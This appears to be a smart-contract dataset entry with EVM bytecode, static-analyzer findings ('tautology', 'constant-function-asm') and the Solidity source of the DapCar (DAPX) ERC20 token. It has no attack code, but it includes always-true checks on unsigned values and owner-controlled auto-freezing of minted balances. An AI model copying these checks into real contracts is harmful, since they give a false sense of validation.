81525060400191505060405180910390fd5b816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600360026101000a81548160ff0219169083151502179055505050565b600360009054906101000a900460ff1681565b6119ba6125e9565b6119c26125e9565b6119ca6125e9565b6119d26125e9565b6119da6125e9565b60006119e46125e9565b6119ec6125e9565b6119f46125e9565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ade576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f546869732066756e63206f6e6c792063616e2062652063616c6c65206279206881526020017f6f6c64657200000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b611ae78c612269565b9850611af28b612269565b9750611afd8a612269565b9650611b3d6040805190810160405280600181526020017f2000000000000000000000000000000000000000000000000000000000000000815250612269565b95508c60028190555060001515600360019054906101000a900460ff161515141515611bf7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f54686520636f6e747261637420686173206265656e20696e697469616c697a6581526020017f640000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b60018d10151515611c96576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001807f54686520646174614e756d6265722073686f756c64206269676765722074686181526020017f6e2031000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b611ca9868a61229790919063ffffffff16565b60018e03141515611d22576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f5468652075756d626572206f66206c696e6b536574206572726f72000000000081525060200191505060405180910390fd5b611d35868961229790919063ffffffff16565b60018e03141515611dd4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f5468652075756d626572206f6620656e6372797074696f6e547970655365742081526020017f6572726f7200000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b611de7868861229790919063ffffffff16565b60018e03141515611e60576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f5468652075756d626572206f66206861736856616c756573206572726f72000081525060200191505060405180910390fd5b6001600360016101000a81548160ff021916908315150217905550611e946020604051908101604052806000815250612269565b9450600093505b8c8410156120a657611eb6868a61230e90919063ffffffff16565b9250611ecb868961230e90919063ffffffff16565b9150611ee0868861230e90919063ffffffff16565b9050611eeb82612328565b151515611f60576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f54686520656e6372797074696f6e547970655365742064617461206572726f7281525060200191505060405180910390fd5b611f6981612328565b151515611fde576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f546865206861736856616c7565732064617461206572726f720000000000000081525060200191505060405180910390fd5b6001606060405190810160405280611ff586612338565b815260200161200385612338565b815260200161201184612338565b81525090806001815401808255809150509060018203906000526020600020906003020160009091929091909150600082015181600001908051906020019061205b929190612603565b506020820151816001019080519060200190612078929190612603565b506040820151816002019080519060200190612095929190612603565b505050508380600101945050611e9b565b50505050505050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156121c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f546869732066756e63206f6e6c792063616e2062652063616c6c65206279206881526020017f6f6c64657200000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b60011515600360009054906101000a900460ff16151514151561224f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f636f6e747261637420697320696e7661696c640000000000000000000000000081525060200191505060405180910390fd5b8060059080519060200190612265929190612569565b5050565b6122716125e9565b600060208301905060408051908101604052808451815260200182815250915050919050565b60008082600001516122bb856000015186602001518660000151876020015161239a565b0190505b83600001518460200151018111151561230757818060010192505082600001516122ff85602001518303866000015103838660000151876020015161239a565b0190506122bf565b5092915050565b6123166125e9565b612321838383612480565b5092915050565b6000808260000151149050919050565b606080600083600001516040519080825280601f01601f1916602001820160405280156123745781602001602082028038833980820191505090505b509150602082019050612390818560200151866000015161251e565b8192505050919050565b60008060008060008060008060008b97508c8b11151561246a5760208b1115156124245760018b60200360080260020a03196001029550858a511694508a8d8d010393508588511692505b8460001916836000191614151561241c578388101515612409578c8c019850612470565b87806001019850508588511692506123e5565b879850612470565b8a8a209150600096505b8a8d0387111515612469578a8820905080600019168260001916141561245657879850612470565b600188019750868060010197505061242e565b5b8c8c0198505b5050505050505050949350505050565b6124886125e9565b60006124a6856000015186602001518660000151876020015161239a565b905084602001518360200181815250508460200151810383600001818152505084600001518560200151018114156124e8576000856000018181525050612513565b8360000151836000015101856000018181510391508181525050836000015181018560200181815250505b829150509392505050565b60005b6020821015156125465782518452602084019350602083019250602082039150612521565b6001826020036101000a0390508019835116818551168181178652505050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106125aa57805160ff19168380011785556125d8565b828001600101855582156125d8579182015b828111156125d75782518255916020019190600101906125bc565b5b5090506125e59190612683565b5090565b604080519081016040528060008152602001600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061264457805160ff1916838001178555612672565b82800160010185558215612672579182015b82811115612671578251825591602001919060010190612656565b5b50905061267f9190612683565b5090565b6126a591905b808211156126a1576000816000905550600101612689565b5090565b905600a165627a7a7230582072843e2f06f0f536aeee585c01bc66c1f6d4ccb4d80e826d6d62efdffb6c32410029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 3,769 |
0xad51c3323ea322ba96fa1b92e48bb65f54fa28c8
|
pragma solidity ^0.4.18;
/*
* DapCar Token (DAPX)
* Created by Starlag Labs (www.starlag.com)
* Copyright © DapCar.io 2018. All rights reserved.
* https://www.dapcar.io
*/
library Math {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Utils {
function Utils() public {}
modifier greaterThanZero(uint256 _value)
{
require(_value > 0);
_;
}
modifier validUint(uint256 _value)
{
require(_value >= 0);
_;
}
modifier validAddress(address _address)
{
require(_address != address(0));
_;
}
modifier notThis(address _address)
{
require(_address != address(this));
_;
}
modifier validAddressAndNotThis(address _address)
{
require(_address != address(0) && _address != address(this));
_;
}
modifier notEmpty(string _data)
{
require(bytes(_data).length > 0);
_;
}
modifier stringLength(string _data, uint256 _length)
{
require(bytes(_data).length == _length);
_;
}
modifier validBytes32(bytes32 _bytes)
{
require(_bytes != 0);
_;
}
modifier validUint64(uint64 _value)
{
require(_value >= 0 && _value < 4294967296);
_;
}
modifier validUint8(uint8 _value)
{
require(_value >= 0 && _value < 256);
_;
}
modifier validBalanceThis(uint256 _value)
{
require(_value <= address(this).balance);
_;
}
}
contract Authorizable is Utils {
using Math for uint256;
address public owner;
address public newOwner;
mapping (address => Level) authorizeds;
uint256 public authorizedCount;
/*
* ZERO 0 - bug for null object
* OWNER 1
* ADMIN 2
* DAPP 3
*/
enum Level {ZERO,OWNER,ADMIN,DAPP}
event OwnerTransferred(address indexed _prevOwner, address indexed _newOwner);
event Authorized(address indexed _address, Level _level);
event UnAuthorized(address indexed _address);
function Authorizable()
public
{
owner = msg.sender;
authorizeds[msg.sender] = Level.OWNER;
authorizedCount = authorizedCount.add(1);
}
modifier onlyOwner {
require(authorizeds[msg.sender] == Level.OWNER);
_;
}
modifier onlyOwnerOrThis {
require(authorizeds[msg.sender] == Level.OWNER || msg.sender == address(this));
_;
}
modifier notOwner(address _address) {
require(authorizeds[_address] != Level.OWNER);
_;
}
modifier authLevel(Level _level) {
require((authorizeds[msg.sender] > Level.ZERO) && (authorizeds[msg.sender] <= _level));
_;
}
modifier authLevelOnly(Level _level) {
require(authorizeds[msg.sender] == _level);
_;
}
modifier notSender(address _address) {
require(msg.sender != _address);
_;
}
modifier isSender(address _address) {
require(msg.sender == _address);
_;
}
modifier checkLevel(Level _level) {
require((_level > Level.ZERO) && (Level.DAPP >= _level));
_;
}
function transferOwnership(address _newOwner)
public
{
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner)
onlyOwner
validAddress(_newOwner)
notThis(_newOwner)
internal
{
require(_newOwner != owner);
newOwner = _newOwner;
}
function acceptOwnership()
validAddress(newOwner)
isSender(newOwner)
public
{
OwnerTransferred(owner, newOwner);
if (authorizeds[owner] == Level.OWNER) {
delete authorizeds[owner];
}
if (authorizeds[newOwner] > Level.ZERO) {
authorizedCount = authorizedCount.sub(1);
}
owner = newOwner;
newOwner = address(0);
authorizeds[owner] = Level.OWNER;
}
function cancelOwnership()
onlyOwner
public
{
newOwner = address(0);
}
function authorized(address _address, Level _level)
public
{
_authorized(_address, _level);
}
function _authorized(address _address, Level _level)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
checkLevel(_level)
internal
{
if (authorizeds[_address] == Level.ZERO) {
authorizedCount = authorizedCount.add(1);
}
authorizeds[_address] = _level;
Authorized(_address, _level);
}
function unAuthorized(address _address)
onlyOwner
validAddress(_address)
notOwner(_address)
notThis(_address)
public
{
if (authorizeds[_address] > Level.ZERO) {
authorizedCount = authorizedCount.sub(1);
}
delete authorizeds[_address];
UnAuthorized(_address);
}
function isAuthorized(address _address)
validAddress(_address)
notThis(_address)
public
constant
returns (Level)
{
return authorizeds[_address];
}
}
contract ITokenRecipient { function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData) public; }
contract IERC20 {
function totalSupply() public constant returns (uint256);
function balanceOf(address _owner) public constant returns (uint256 balance);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
function transfer(address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Token is Authorizable, IERC20 {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
modifier validBalance(uint256 _value)
{
require(_value <= balances[msg.sender]);
_;
}
modifier validBalanceFrom(address _from, uint256 _value)
{
require(_value <= balances[_from]);
_;
}
modifier validBalanceOverflows(address _to, uint256 _value)
{
require(balances[_to] <= balances[_to].add(_value));
_;
}
function ERC20Token() public {}
function totalSupply()
public
constant
returns (uint256)
{
return totalSupply_;
}
function transfer(address _to, uint256 _value)
public
returns (bool success)
{
return _transfer(_to, _value);
}
function _transfer(address _to, uint256 _value)
validAddress(_to)
greaterThanZero(_value)
validBalance(_value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool success)
{
return _transferFrom(_from, _to, _value);
}
function _transferFrom(address _from, address _to, uint256 _value)
validAddress(_to)
validAddress(_from)
greaterThanZero(_value)
validBalanceFrom(_from, _value)
validBalanceOverflows(_to, _value)
internal
returns (bool success)
{
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner)
validAddress(_owner)
public
constant
returns (uint256 balance)
{
return balances[_owner];
}
function approve(address _spender, uint256 _value)
public
returns (bool success)
{
return _approve(_spender, _value);
}
function _approve(address _spender, uint256 _value)
validAddress(_spender)
internal
returns (bool success)
{
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender)
validAddress(_owner)
validAddress(_spender)
public
constant
returns (uint256 remaining)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue)
validAddress(_spender)
greaterThanZero(_addedValue)
public
returns (bool success)
{
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
validAddress(_spender)
greaterThanZero(_subtractedValue)
public
returns (bool success)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
delete allowed[msg.sender][_spender];
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract FrozenToken is ERC20Token, ITokenRecipient {
mapping (address => bool) frozeds;
uint256 public frozedCount;
bool public freezeEnabled = true;
bool public autoFreeze = true;
bool public mintFinished = false;
event Freeze(address indexed wallet);
event UnFreeze(address indexed wallet);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
event Mint(address indexed sender, address indexed wallet, uint256 amount);
event ReceiveTokens(address indexed spender, address indexed token, uint256 value, bytes extraData);
event ApproveAndCall(address indexed spender, uint256 value, bytes extraData);
event Burn(address indexed sender, uint256 amount);
event MintFinished(address indexed spender);
modifier notFreeze
{
require(frozeds[msg.sender] == false || freezeEnabled == false);
_;
}
modifier notFreezeFrom(address _from)
{
require((_from != address(0) && frozeds[_from] == false) || freezeEnabled == false);
_;
}
modifier canMint
{
require(!mintFinished);
_;
}
function FrozenToken() public {}
function freeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
notThis(_address)
notOwner(_address)
public
{
if (!frozeds[_address]) {
frozeds[_address] = true;
frozedCount = frozedCount.add(1);
Freeze(_address);
}
}
function unFreeze(address _address)
authLevel(Level.DAPP)
validAddress(_address)
public
{
if (frozeds[_address]) {
delete frozeds[_address];
frozedCount = frozedCount.sub(1);
UnFreeze(_address);
}
}
function updFreezeEnabled(bool _freezeEnabled)
authLevel(Level.ADMIN)
public
{
PropsChanged(msg.sender, "freezeEnabled", freezeEnabled, _freezeEnabled);
freezeEnabled = _freezeEnabled;
}
function updAutoFreeze(bool _autoFreeze)
authLevel(Level.ADMIN)
public
{
PropsChanged(msg.sender, "autoFreeze", autoFreeze, _autoFreeze);
autoFreeze = _autoFreeze;
}
function isFreeze(address _address)
validAddress(_address)
public
constant
returns(bool)
{
return bool(frozeds[_address]);
}
function transfer(address _to, uint256 _value)
notFreeze
public
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value)
notFreezeFrom(_from)
public
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value)
notFreezeFrom(_spender)
public
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint256 _addedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint256 _subtractedValue)
notFreezeFrom(_spender)
public
returns (bool)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
validAddress(_spender)
greaterThanZero(_value)
public
returns (bool success)
{
ITokenRecipient spender = ITokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
ApproveAndCall(_spender, _value, _extraData);
return true;
}
}
function receiveApproval(address _spender, uint256 _value, address _token, bytes _extraData)
validAddress(_spender)
validAddress(_token)
greaterThanZero(_value)
public
{
IERC20 token = IERC20(_token);
require(token.transferFrom(_spender, address(this), _value));
ReceiveTokens(_spender, _token, _value, _extraData);
}
function mintFinish()
onlyOwner
public
returns (bool success)
{
mintFinished = true;
MintFinished(msg.sender);
return true;
}
function mint(address _address, uint256 _value)
canMint
authLevel(Level.DAPP)
validAddress(_address)
greaterThanZero(_value)
public
returns (bool success)
{
balances[_address] = balances[_address].add(_value);
totalSupply_ = totalSupply_.add(_value);
Transfer(0, _address, _value);
if (freezeEnabled && autoFreeze && _address != address(this) && isAuthorized(_address) == Level.ZERO) {
if (!isFreeze(_address)) {
frozeds[_address] = true;
frozedCount = frozedCount.add(1);
Freeze(_address);
}
}
Mint(0, _address, _value);
return true;
}
function burn(uint256 _value)
greaterThanZero(_value)
validBalance(_value)
public
returns (bool)
{
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Transfer(msg.sender, address(0), _value);
if (isFreeze(msg.sender)) {
delete frozeds[msg.sender];
frozedCount = frozedCount.sub(1);
UnFreeze(msg.sender);
}
Burn(msg.sender, _value);
return true;
}
}
contract DapCarToken is FrozenToken {
string public name = "DapCar Token";
string public symbol = "DAPX";
uint8 public decimals = 0;
string public version = "0.1";
string public publisher = "https://www.dapcar.io";
string public description = "This is an official DapCar Token (DAPX)";
bool public acceptAdminWithdraw = false;
bool public acceptDonate = true;
event InfoChanged(address indexed sender, string version, string publisher, string description);
event Withdraw(address indexed sender, address indexed wallet, uint256 amount);
event WithdrawTokens(address indexed sender, address indexed wallet, address indexed token, uint256 amount);
event Donate(address indexed sender, uint256 value);
event PropsChanged(address indexed sender, string props, bool oldValue, bool newValue);
function DapCarToken() public {}
function setupInfo(string _version, string _publisher, string _description)
authLevel(Level.ADMIN)
notEmpty(_version)
notEmpty(_publisher)
notEmpty(_description)
public
{
version = _version;
publisher = _publisher;
description = _description;
InfoChanged(msg.sender, _version, _publisher, _description);
}
function withdraw()
public
returns (bool success)
{
return withdrawAmount(address(this).balance);
}
function withdrawAmount(uint256 _amount)
authLevel(Level.ADMIN)
greaterThanZero(address(this).balance)
greaterThanZero(_amount)
validBalanceThis(_amount)
public
returns (bool success)
{
address wallet = owner;
if (acceptAdminWithdraw) {
wallet = msg.sender;
}
Withdraw(msg.sender, wallet, address(this).balance);
wallet.transfer(address(this).balance);
return true;
}
function withdrawTokens(address _token, uint256 _amount)
authLevel(Level.ADMIN)
validAddress(_token)
greaterThanZero(_amount)
public
returns (bool success)
{
address wallet = owner;
if (acceptAdminWithdraw) {
wallet = msg.sender;
}
bool result = IERC20(_token).transfer(wallet, _amount);
if (result) {
WithdrawTokens(msg.sender, wallet, _token, _amount);
}
return result;
}
function balanceToken(address _token)
validAddress(_token)
public
constant
returns (uint256 amount)
{
return IERC20(_token).balanceOf(address(this));
}
function updAcceptAdminWithdraw(bool _accept)
onlyOwner
public
returns (bool success)
{
PropsChanged(msg.sender, "acceptAdminWithdraw", acceptAdminWithdraw, _accept);
acceptAdminWithdraw = _accept;
return true;
}
function ()
external
payable
{
if (acceptDonate) {
donate();
}
}
function donate()
greaterThanZero(msg.value)
internal
{
Donate(msg.sender, msg.value);
}
function updAcceptDonate(bool _accept)
authLevel(Level.ADMIN)
public
returns (bool success)
{
PropsChanged(msg.sender, "acceptDonate", acceptDonate, _accept);
acceptDonate = _accept;
return true;
}
}
|
0x6060604052600436106102165763ffffffff60e060020a6000350416630459901281146102305780630562b9f71461026157806306b091f91461028b57806306fdde03146102ad578063095ea7b31461033757806313270bb81461035957806318160ddd1461036c57806323b872dd1461037f5780632bda04c5146103a7578063313ce567146103ba5780633ccfd60b146103e35780633e2fce37146103f657806340c10f191461040e57806342966c68146104305780634e2808da1461044657806354fd4d50146104595780635d82ddc81461046c578063661884631461047f57806370a08231146104a15780637284e416146104c057806375143ef2146104d357806379ba5097146104e6578063807a599c146104f957806383cfab421461050c57806383df7d211461052b5780638b5a17df146105435780638c72c54e146105565780638d1fdf2f146105695780638da5cb5b146105885780638e818aa1146105b75780638ef5ae21146105ca5780638f4ffcb11461069f57806395d89b411461070b5780639e060fb61461071e578063a9059cbb14610736578063bdc742fc14610758578063cae9ca5114610770578063d4ee1d90146107d5578063d73dd623146107e8578063dd62ed3e1461080a578063e1ad855d1461082f578063e41d09441461084e578063eef4c01614610861578063f2fde38b14610886578063fe9fbb80146108a5578063ff192bc8146108e8575b601054610100900460ff161561022e5761022e610907565b005b341561023b57600080fd5b61024f600160a060020a0360043516610955565b60405190815260200160405180910390f35b341561026c57600080fd5b6102776004356109e5565b604051901515815260200160405180910390f35b341561029657600080fd5b610277600160a060020a0360043516602435610b53565b34156102b857600080fd5b6102c0610cea565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156102fc5780820151838201526020016102e4565b50505050905090810190601f1680156103295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034257600080fd5b610277600160a060020a0360043516602435610d88565b341561036457600080fd5b61024f610de7565b341561037757600080fd5b61024f610ded565b341561038a57600080fd5b610277600160a060020a0360043581169060243516604435610df4565b34156103b257600080fd5b610277610e55565b34156103c557600080fd5b6103cd610e63565b60405160ff909116815260200160405180910390f35b34156103ee57600080fd5b610277610e6c565b341561040157600080fd5b61022e6004351515610e86565b341561041957600080fd5b610277600160a060020a0360043516602435610f8f565b341561043b57600080fd5b6102776004356111ec565b341561045157600080fd5b61022e61136a565b341561046457600080fd5b6102c06113bc565b341561047757600080fd5b610277611427565b341561048a57600080fd5b610277600160a060020a0360043516602435611430565b34156104ac57600080fd5b61024f600160a060020a0360043516611487565b34156104cb57600080fd5b6102c06114bc565b34156104de57600080fd5b610277611527565b34156104f157600080fd5b61022e611536565b341561050457600080fd5b610277611695565b341561051757600080fd5b61022e600160a060020a0360043516611717565b341561053657600080fd5b61022e6004351515611835565b341561054e57600080fd5b61024f611932565b341561056157600080fd5b6102c0611938565b341561057457600080fd5b61022e600160a060020a03600435166119a3565b341561059357600080fd5b61059b611b1f565b604051600160a060020a03909116815260200160405180910390f35b34156105c257600080fd5b610277611b2e565b34156105d557600080fd5b61022e60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650611b3795505050505050565b34156106aa57600080fd5b61022e60048035600160a060020a0390811691602480359260443516919060849060643590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650611d9495505050505050565b341561071657600080fd5b6102c0611f21565b341561072957600080fd5b6102776004351515611f8c565b341561074157600080fd5b610277600160a060020a036004351660243561204d565b341561076357600080fd5b6102776004351515612094565b341561077b57600080fd5b61027760048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506121a295505050505050565b34156107e057600080fd5b61059b61238e565b34156107f357600080fd5b610277600160a060020a036004351660243561239d565b341561081557600080fd5b61024f600160a060020a03600435811690602435166123f4565b341561083a57600080fd5b61022e600160a060020a0360043516612450565b341561085957600080fd5b610277612588565b341561086c57600080fd5b61022e600160a060020a036004351660ff60243516612596565b341561089157600080fd5b61022e600160a060020a03600435166125a4565b34156108b057600080fd5b6108c4600160a060020a03600435166125b0565b604051808260038111156108d457fe5b60ff16815260200191505060405180910390f35b34156108f357600080fd5b610277600160a060020a036004351661260b565b346000811161091557600080fd5b33600160a060020a03167f0553260a2e46b0577270d8992db02d30856ca880144c72d6e9503760946aef133460405190815260200160405180910390a250565b600081600160a060020a038116151561096d57600080fd5b82600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156109c457600080fd5b6102c65a03f115156109d557600080fd5b5050506040518051949350505050565b600080600281600160a060020a03331660009081526002602052604090205460ff166003811115610a1257fe5b118015610a505750806003811115610a2657fe5b600160a060020a03331660009081526002602052604090205460ff166003811115610a4d57fe5b11155b1515610a5b57600080fd5b600160a060020a0330163160008111610a7357600080fd5b8460008111610a8157600080fd5b85600160a060020a03301631811115610a9957600080fd5b600054601054600160a060020a03909116955060ff1615610ab8573394505b84600160a060020a031633600160a060020a03167f9b1bfa7fa9ee420a16e124f794c35ac9f90472acc99140eb2f6447c714cad8eb30600160a060020a03163160405190815260200160405180910390a384600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f193505050501515610b4657600080fd5b5060019695505050505050565b60008080600281600160a060020a03331660009081526002602052604090205460ff166003811115610b8157fe5b118015610bbf5750806003811115610b9557fe5b600160a060020a03331660009081526002602052604090205460ff166003811115610bbc57fe5b11155b1515610bca57600080fd5b85600160a060020a0381161515610be057600080fd5b8560008111610bee57600080fd5b600054601054600160a060020a03909116955060ff1615610c0d573394505b87600160a060020a031663a9059cbb868960006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610c6a57600080fd5b6102c65a03f11515610c7b57600080fd5b50505060405180519450508315610cde5787600160a060020a031685600160a060020a031633600160a060020a03167fc9e8848e763791df46dee01dfdd8f0eb58cd33dd15e0773146866af844e8f09b8a60405190815260200160405180910390a45b50919695505050505050565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d805780601f10610d5557610100808354040283529160200191610d80565b820191906000526020600020905b815481529060010190602001808311610d6357829003601f168201915b505050505081565b600082600160a060020a03811615801590610dbc5750600160a060020a03811660009081526007602052604090205460ff16155b80610dca575060095460ff16155b1515610dd557600080fd5b610ddf8484612643565b949350505050565b60035481565b6006545b90565b600083600160a060020a03811615801590610e285750600160a060020a03811660009081526007602052604090205460ff16155b80610e36575060095460ff16155b1515610e4157600080fd5b610e4c85858561264f565b95945050505050565b600954610100900460ff1681565b600c5460ff1681565b6000610e8130600160a060020a0316316109e5565b905090565b60026000600160a060020a03331660009081526002602052604090205460ff166003811115610eb157fe5b118015610eef5750806003811115610ec557fe5b600160a060020a03331660009081526002602052604090205460ff166003811115610eec57fe5b11155b1515610efa57600080fd5b60095433600160a060020a031690600080516020612f6783398151915290610100900460ff1684604051911515602083015215156040808301919091526060808352600a908301527f6175746f467265657a6500000000000000000000000000000000000000000000608083015260a0909101905180910390a250600980549115156101000261ff0019909216919091179055565b60095460009062010000900460ff1615610fa857600080fd5b60036000600160a060020a03331660009081526002602052604090205460ff166003811115610fd357fe5b1180156110115750806003811115610fe757fe5b600160a060020a03331660009081526002602052604090205460ff16600381111561100e57fe5b11155b151561101c57600080fd5b83600160a060020a038116151561103257600080fd5b836000811161104057600080fd5b600160a060020a038616600090815260046020526040902054611069908663ffffffff61265c16565b600160a060020a038716600090815260046020526040902055600654611095908663ffffffff61265c16565b600655600160a060020a0386166000600080516020612f878339815191528760405190815260200160405180910390a360095460ff1680156110de5750600954610100900460ff165b80156110fc575030600160a060020a031686600160a060020a031614155b801561111b5750600061110e876125b0565b600381111561111957fe5b145b156111a1576111298661260b565b15156111a157600160a060020a0386166000908152600760205260409020805460ff191660019081179091556008546111679163ffffffff61265c16565b600855600160a060020a0386167faf85b60d26151edd11443b704d424da6c43d0468f2235ebae3d1904dbc32304960405160405180910390a25b85600160a060020a031660007fab8530f87dc9b59234c4623bf917212bb2536d647574c8e7e5da92c2ede0c9f88760405190815260200160405180910390a350600195945050505050565b6000818181116111fb57600080fd5b600160a060020a033316600090815260046020526040902054839081111561122257600080fd5b600160a060020a03331660009081526004602052604090205461124b908563ffffffff61266b16565b600160a060020a033316600090815260046020526040902055600654611277908563ffffffff61266b16565b600655600033600160a060020a0316600080516020612f878339815191528660405190815260200160405180910390a36112b03361260b565b1561132357600160a060020a0333166000908152600760205260409020805460ff191690556008546112e990600163ffffffff61266b16565b600855600160a060020a0333167f8a56897dfce8680cbcfd8a39fc9a77d55677650ea50712197f14b6fbc7e0677b60405160405180910390a25b33600160a060020a03167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58560405190815260200160405180910390a25060019392505050565b6001600160a060020a03331660009081526002602052604090205460ff16600381111561139357fe5b1461139d57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff19169055565b600d8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d805780601f10610d5557610100808354040283529160200191610d80565b60095460ff1681565b600082600160a060020a038116158015906114645750600160a060020a03811660009081526007602052604090205460ff16155b80611472575060095460ff16155b151561147d57600080fd5b610ddf848461267d565b600081600160a060020a038116151561149f57600080fd5b5050600160a060020a031660009081526004602052604090205490565b600f8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d805780601f10610d5557610100808354040283529160200191610d80565b60095462010000900460ff1681565b600154600160a060020a031680151561154e57600080fd5b600154600160a060020a03908116903316811461156a57600080fd5b600154600054600160a060020a0391821691167f8934ce4adea8d9ce0d714d2c22b86790e41b7731c84b926fbbdc1d40ff6533c960405160405180910390a3600160008054600160a060020a031681526002602052604090205460ff1660038111156115d257fe5b14156115f95760008054600160a060020a03168152600260205260409020805460ff191690555b600154600160a060020a031660009081526002602052604081205460ff16600381111561162257fe5b11156116405760035461163c90600163ffffffff61266b16565b6003555b6001805460008054600160a060020a0380841673ffffffffffffffffffffffffffffffffffffffff19928316178084559190931684559091168152600260205260409020805460ff1916828002179055505050565b60006001600160a060020a03331660009081526002602052604090205460ff1660038111156116c057fe5b146116ca57600080fd5b6009805462ff0000191662010000179055600160a060020a0333167f39b5ca6d4234a87b875f701a848e24d718e9f824d12099eec3c01762383b04ee60405160405180910390a250600190565b60036000600160a060020a03331660009081526002602052604090205460ff16600381111561174257fe5b118015611780575080600381111561175657fe5b600160a060020a03331660009